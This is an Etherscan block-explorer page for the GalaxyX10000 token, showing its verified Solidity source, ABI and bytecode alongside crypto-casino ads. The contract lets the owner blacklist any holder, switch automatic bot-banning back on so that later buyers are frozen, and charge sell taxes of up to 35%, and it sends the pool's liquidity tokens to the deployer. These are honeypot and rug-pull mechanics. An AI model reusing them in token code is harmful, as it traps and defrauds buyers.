GalaxyX10000 (GX10000) Token Tracker - Etherscan

ETH Price: $2,924.62 (+0.15%) Gas: 0.026 Gwei / New alerts Understanding the Token PageWhat are Token Approvals?How to Update Token InformationWhy Are Some Tokens' Names and Symbols Masked?Common Issues with Non-Standard TokensExplore the Token Balance CheckerHow to Validate Data on Etherscan All Knowledge Base articles
  • Light
  • Dim
  • Dark
  • Site Settings
Ethereum Logo Ethereum Logo
  • Ethereum Mainnet
  • Beaconscan ETH2
  • Sepolia Testnet
  • Hoodi Testnet
Token GalaxyX10000 (GX10000) BuySponsored ads eToro A global broker built for crypto trading. Buy Now!

User-friendly interface. Trusted worldwide.

ads MoonPay Buy Ethereum with 50% off MoonPay Fees, for your first 5 transactionsBuy Now!

T&C's apply, new users only and not for UK users.

PlaySponsored ads Сoins.game 100 free spins for registration. Spin now!

Everyday giveaways up to 100 ETH, Lucky Spins. Deposit BONUS 300% and Cashbacks!

ads BC.GAME The Best ETH Casino Claim Now!

5000+ Slots & Live Casino Games, 50+cryptos. Register with Etherscan and get 760% deposit bonus. Win Big$, withdraw it fast.

ads Stake 200% Bonus, Instant Withdrawals, 100K Daily Giveaways, BEST VIP Club Claim Bonus!

20+ Cryptos, 3000+ Slots, Daily & Monthly Bonuses, Exclusive Sports Promos - Provably Fair!

GamingSponsored ads BC.GAME - The Best ETH Casino Claim Now!

5000+ Slots & Live Casino Games, 50+cryptos. Register with Etherscan and get 760% deposit bonus. Win Big$, withdraw it fast.

ads CryptoSlots 25 Free Spins + ETH Slots, $1M Jackpot, Bonus Draws Play Now

Win big, play instantly, withdraw fast. Provably fair, 100% original games, anonymous ETH play.

ads CryptoWins 200% Welcome | Play ETH Slots, Earn BidCoin & Win $1,000,000 Claim Now!

1,200+ games, live BidCoin Auctions, big jackpots. TRIPLE your deposit & play in 30 seconds!

ERC-20 API
  • Check previous token supply
  • Add Token to MetaMask (Web3)
  • Update Token Info
  • Update Name Tag or Label
  • Submit Burn Details
  • Report/Flag Address

Overview

Max Total Supply

8,265.998597273521660707 GX10000

Holders

68

Transfers

  • TOTAL
  • 24H
- 0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

0x6504f2ba6c8956fbde6f7c55ca8c0e43341f5d86 Ad Find Loading...Loading Loading...Loading Loading...Loading Click here to update the token information / general information Exchange Data Source: Coingecko
# Exchange Pair Price 24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name: galaxyx10000 Compiler Version v0.8.7+commit.e28d00a7 Optimization Enabled: Yes with 200 runs Other Settings: default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

blockscan-logoblockscan-logoIDEMore OptionsFile 2 of 4: galaxyx10000.sol/* https://t.me/GalaxyX10000 http://galaxyx10000.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; import "./TradableErc20.sol"; contract galaxyx10000 is TradableErc20 { address _owner; address _withdrawAddress = address(0x122BB0Af3685a8B2eE961F34224A100fA6736011); uint256 maxContractLiquidityPercent = 4; constructor() TradableErc20("GalaxyX10000", "GX10000") { _owner = msg.sender; _setMaxBuy(10); } function getMaxContractBalancePercent() internal view override returns (uint256) { return maxContractLiquidityPercent; } function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent) external onlyOwner { maxContractLiquidityPercent = newMaxLiquidityPercent; } function _withdraw(uint256 sum) internal override { payable(_withdrawAddress).transfer(sum); } function isOwner(address account) internal view override returns (bool) { return account == _owner; } function transferOwnership(address newOwner) external onlyOwner { _owner = newOwner; } } File 1 of 4: ERC20.sol// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { uint256 internal _totalSupply = 1e22; string _name; string _symbol; uint8 constant _decimals = 18; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { _beforeTokenTransfer(from, to, amount); uint256 senderBalance = _balances[from]; require(senderBalance >= amount); unchecked { _balances[from] = senderBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } File 3 of 4: IUniswapV2Router02.sol// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; interface IUniswapV2Router02 { //function swapExactTokensForETHSupportingFeeOnTransferTokens( function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); }File 4 of 4: TradableErc20.sol// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; //import "hardhat/console.sol"; import "./ERC20.sol"; import "./IUniswapV2Router02.sol"; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract TradableErc20 is ERC20 { IUniswapV2Router02 internal constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair; bool public tradingEnable; mapping(address => bool) public isBot; mapping(address => bool) _isExcludedFromFee; bool _autoBanBots = true; bool _inSwap; uint256 public maxBuy; uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes uint256 constant maxByyIncrementPercentil = 1; // increment maxbyu percentil 1000=100% uint256 public maxBuyIncrementValue; // value for increment maxBuy uint256 public incrementTime; // last increment time modifier onlyOwner() { require(isOwner(msg.sender)); _; } modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) { _isExcludedFromFee[address(0)] = true; } receive() external payable {} function makeLiquidity() public onlyOwner { require(uniswapV2Pair == address(0)); address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); _balances[address(this)] = _totalSupply; _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply; _isExcludedFromFee[pair] = true; _uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _totalSupply, 0, 0, msg.sender, block.timestamp ); uniswapV2Pair = pair; tradingEnable = false; incrementTime = block.timestamp; maxBuyIncrementValue = (_totalSupply * maxByyIncrementPercentil) / 1000; } function _transfer( address from, address to, uint256 amount ) internal override { require(!isBot[from] && !isBot[to]); // buy if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { // increment maxBuy uint256 incrementCount = (block.timestamp - incrementTime) / (maxBuyIncrementMinutesTimer * 1 minutes); if (incrementCount > 0) { if (maxBuy < _totalSupply) maxBuy += maxBuyIncrementValue * incrementCount; incrementTime = block.timestamp; } require(tradingEnable); if (!_autoBanBots) require(_balances[to] + amount <= maxBuy); // antibot if (_autoBanBots) isBot[to] = true; amount = _getFeeBuy(amount); } // sell if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) { amount = _getFeeSell(amount, from); uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > 0) { uint256 maxContractBalance = (balanceOf(uniswapV2Pair) * getMaxContractBalancePercent()) / 100; if (contractTokenBalance > maxContractBalance) { uint256 burnCount; unchecked { burnCount = contractTokenBalance - maxContractBalance; } contractTokenBalance = maxContractBalance; _totalSupply -= burnCount; emit Transfer(address(this), address(0), burnCount); } //console.log("swapTokensForEth"); uint256 swapCount = contractTokenBalance; uint256 maxSwapCount = 2 * amount; if (swapCount > maxSwapCount) swapCount = maxSwapCount; swapTokensForEth(swapCount); } } // transfer //console.log(from, "->", to); //console.log("amount: ", amount); super._transfer(from, to, amount); //console.log("=====end transfer====="); } function _getFeeBuy(uint256 amount) private returns (uint256) { uint256 fee = amount / 10; // Buy Fee amount -= fee; _balances[address(this)] += fee; return amount; } function getSellBurnCount(uint256 amount) internal view returns (uint256) { // calculate fee percent uint256 value = _balances[uniswapV2Pair]; uint256 vMin = value / 100; // min additive tax amount if (amount <= vMin) return amount / 20; // 5% constant tax uint256 vMax = value / 10; // max additive tax amount 10% if (amount > vMax) return (amount * 35) / 100; // 35% tax // additive tax, that in intervat 0-35% return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100; } function _getFeeSell(uint256 amount, address account) private returns (uint256) { // get taxes uint256 devFee = amount / 10; // Sell fee uint256 burnCount = getSellBurnCount(amount); // burn count amount -= devFee + burnCount; _balances[account] -= devFee + burnCount; _balances[address(this)] += devFee; _totalSupply -= burnCount; emit Transfer(address(this), address(0), burnCount); return amount; } function setMaxBuy(uint256 percent) external onlyOwner { _setMaxBuy(percent); } function _setMaxBuy(uint256 percentil) internal { maxBuy = (percentil * _totalSupply) / 1000; } function getMaxBuy() external view returns (uint256) { uint256 incrementCount = (block.timestamp - incrementTime) / (maxBuyIncrementMinutesTimer * 1 minutes); if (incrementCount == 0) return maxBuy; return maxBuy + maxBuyIncrementValue * incrementCount; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); // make the swap _uniswapV2Router.swapExactTokensForETH( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); } function setBots(address[] memory accounts, bool value) external onlyOwner { for (uint256 i = 0; i < accounts.length; ++i) { isBot[accounts[i]] = value; } } function setExcludeFromFee(address[] memory accounts, bool value) external onlyOwner { for (uint256 i = 0; i < accounts.length; ++i) { _isExcludedFromFee[accounts[i]] = value; } } function setTradingEnable() external onlyOwner { tradingEnable = true; _autoBanBots = false; } function setAutoBanBots(bool value) external onlyOwner { _autoBanBots = value; } function withdraw() external { _withdraw(address(this).balance); } function getMaxContractBalancePercent() internal virtual returns (uint256); function _withdraw(uint256 sum) internal virtual; function isOwner(address account) internal virtual returns (bool); }

Contract Security Audit

  • No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

API [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View608060405269021e19e0c9bab24000006000556008805460ff19166001179055600d80546001600160a01b03191673122bb0af3685a8b2ee961f34224a100fa67360111790556004600e553480156200005757600080fd5b50604080518082018252600c81526b047616c6178795831303030360a41b6020808301918252835180850190945260078452660475831303030360cc1b90840152815191929183918391620000af9160019162000148565b508051620000c590600290602084019062000148565b50506000805250506007602052507f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805460ff19166001179055600c80546001600160a01b031916331790556200011d600a62000123565b6200027c565b6103e86000548262000136919062000211565b620001429190620001ee565b60095550565b82805462000156906200023f565b90600052602060002090601f0160209004810192826200017a5760008555620001c5565b82601f106200019557805160ff1916838001178555620001c5565b82800160010185558215620001c5579182015b82811115620001c5578251825591602001919060010190620001a8565b50620001d3929150620001d7565b5090565b5b80821115620001d35760008155600101620001d8565b6000826200020c57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156200023a57634e487b7160e01b600052601160045260246000fd5b500290565b600181811c908216806200025457607f821691505b602082108114156200027657634e487b7160e01b600052602260045260246000fd5b50919050565b611737806200028c6000396000f3fe60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610423578063e67a3fa214610469578063f2fde38b1461047e578063f53bc8351461049e57600080fd5b8063a9059cbb146103d8578063aff41b7b146103f8578063b203919e1461040e57600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104be565b604051610198919061151e565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113b2565b610550565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c366004611371565b610566565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c16102683660046112f7565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105bc565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e73660046114d7565b6105c7565b3480156102f857600080fd5b506102926103073660046113de565b6105e3565b34801561031857600080fd5b506102036103273660046112f7565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610664565b34801561037957600080fd5b50610203610673565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114bc565b6106c9565b3480156103c457600080fd5b506102926103d33660046113de565b6106f3565b3480156103e457600080fd5b506101c16103f33660046113b2565b61076f565b34801561040457600080fd5b50610203600a5481565b34801561041a57600080fd5b5061029261077c565b34801561042f57600080fd5b5061020361043e366004611338565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047557600080fd5b50610292610a81565b34801561048a57600080fd5b506102926104993660046112f7565b610ab7565b3480156104aa57600080fd5b506102926104b93660046114d7565b610af0565b6060600180546104cd90611654565b80601f01602080910402602001604051908101604052809291908181526020018280546104f990611654565b80156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b600061055d338484610b13565b50600192915050565b6000610573848484610b74565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105a457600080fd5b6105b18533858403610b13565b506001949350505050565b6105c547610e24565b565b600c546001600160a01b031633146105de57600080fd5b600e55565b600c546001600160a01b031633146105fa57600080fd5b60005b825181101561065f57816007600085848151811061061d5761061d6116c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556106588161168f565b90506105fd565b505050565b6060600280546104cd90611654565b6000806106826002603c61161e565b600b5461068f904261163d565b61069991906115fc565b9050806106a857505060095490565b80600a546106b6919061161e565b6009546106c391906115e4565b91505090565b600c546001600160a01b031633146106e057600080fd5b6008805460ff1916911515919091179055565b600c546001600160a01b0316331461070a57600080fd5b60005b825181101561065f57816006600085848151811061072d5761072d6116c0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556107688161168f565b905061070d565b600061055d338484610b74565b600c546001600160a01b0316331461079357600080fd5b6005546001600160a01b0316156107a957600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f857600080fd5b505afa15801561080c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610830919061131b565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088c57600080fd5b505afa1580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c4919061131b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090c57600080fd5b505af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610944919061131b565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3c91906114f0565b5050600580546001600160a81b0319166001600160a01b0384161790555042600b556000546103e890610a719060019061161e565b610a7b91906115fc565b600a5550565b600c546001600160a01b03163314610a9857600080fd5b6005805460ff60a01b1916600160a01b1790556008805460ff19169055565b600c546001600160a01b03163314610ace57600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314610b0757600080fd5b610b1081610e62565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bb657506001600160a01b03821660009081526006602052604090205460ff16155b610bbf57600080fd5b6005546001600160a01b038481169116148015610bf557506001600160a01b03821660009081526007602052604090205460ff16155b15610ceb576000610c086002603c61161e565b600b54610c15904261163d565b610c1f91906115fc565b90508015610c5d576000546009541015610c585780600a54610c41919061161e565b60096000828254610c5291906115e4565b90915550505b42600b555b600554600160a01b900460ff16610c7357600080fd5b60085460ff16610caf576009546001600160a01b038416600090815260036020526040902054610ca49084906115e4565b1115610caf57600080fd5b60085460ff1615610cde576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610ce782610e83565b9150505b600854610100900460ff16158015610d0d57506005546001600160a01b031615155b8015610d2657506005546001600160a01b038381169116145b15610e1957610d358184610ecd565b306000908152600360205260409020549091508015610e175760006064610d5b600e5490565b6005546001600160a01b0316600090815260036020526040902054610d80919061161e565b610d8a91906115fc565b905080821115610dee576000818303905081925080600080828254610daf919061163d565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610dfc85600261161e565b905080821115610e0a578091505b610e1382610fb4565b5050505b505b61065f838383611170565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e5e573d6000803e3d6000fd5b5050565b6103e860005482610e73919061161e565b610e7d91906115fc565b60095550565b600080610e91600a846115fc565b9050610e9d818461163d565b30600090815260036020526040812080549295508392909190610ec19084906115e4565b90915550929392505050565b600080610edb600a856115fc565b90506000610ee885611227565b9050610ef481836115e4565b610efe908661163d565b9450610f0a81836115e4565b6001600160a01b03851660009081526003602052604081208054909190610f3290849061163d565b90915550503060009081526003602052604081208054849290610f569084906115e4565b9250508190555080600080828254610f6e919061163d565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff857610ff86116c0565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061131b565b816001815181106110b0576110b06116c0565b60200260200101906001600160a01b031690816001600160a01b0316815250506110ef30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b13565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061112f908590600090869030904290600401611573565b600060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561119657600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111cd9084906115e4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121991815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161124e6064836115fc565b905080841161126a576112626014856115fc565b949350505050565b6000611277600a846115fc565b9050808511156112a157606461128e86602361161e565b61129891906115fc565b95945050505050565b60646112ad838361163d565b866112b8858261163d565b6112c390602361161e565b6112cd919061161e565b61128e91906115fc565b80356112e2816116ec565b919050565b803580151581146112e257600080fd5b60006020828403121561130957600080fd5b8135611314816116ec565b9392505050565b60006020828403121561132d57600080fd5b8151611314816116ec565b6000806040838503121561134b57600080fd5b8235611356816116ec565b91506020830135611366816116ec565b809150509250929050565b60008060006060848603121561138657600080fd5b8335611391816116ec565b925060208401356113a1816116ec565b929592945050506040919091013590565b600080604083850312156113c557600080fd5b82356113d0816116ec565b946020939093013593505050565b600080604083850312156113f157600080fd5b823567ffffffffffffffff8082111561140957600080fd5b818501915085601f83011261141d57600080fd5b8135602082821115611431576114316116d6565b8160051b604051601f19603f83011681018181108682111715611456576114566116d6565b604052838152828101945085830182870184018b101561147557600080fd5b600096505b8487101561149f5761148b816112d7565b86526001969096019594830194830161147a565b5096506114af90508782016112e7565b9450505050509250929050565b6000602082840312156114ce57600080fd5b611314826112e7565b6000602082840312156114e957600080fd5b5035919050565b60008060006060848603121561150557600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b8181111561155d576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c35784516001600160a01b03168352938301939183019160010161159e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115f7576115f76116aa565b500190565b60008261161957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611638576116386116aa565b500290565b60008282101561164f5761164f6116aa565b500390565b600181811c9082168061166857607f821691505b6020821081141561168957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156116a3576116a36116aa565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1057600080fdfea26469706673582212205f1a2fd6235084ead77cba71e697f20707f801be52849b6f90f9b774dfd60b1a64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610423578063e67a3fa214610469578063f2fde38b1461047e578063f53bc8351461049e57600080fd5b8063a9059cbb146103d8578063aff41b7b146103f8578063b203919e1461040e57600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104be565b604051610198919061151e565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113b2565b610550565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c366004611371565b610566565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c16102683660046112f7565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105bc565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e73660046114d7565b6105c7565b3480156102f857600080fd5b506102926103073660046113de565b6105e3565b34801561031857600080fd5b506102036103273660046112f7565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610664565b34801561037957600080fd5b50610203610673565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114bc565b6106c9565b3480156103c457600080fd5b506102926103d33660046113de565b6106f3565b3480156103e457600080fd5b506101c16103f33660046113b2565b61076f565b34801561040457600080fd5b50610203600a5481565b34801561041a57600080fd5b5061029261077c565b34801561042f57600080fd5b5061020361043e366004611338565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047557600080fd5b50610292610a81565b34801561048a57600080fd5b506102926104993660046112f7565b610ab7565b3480156104aa57600080fd5b506102926104b93660046114d7565b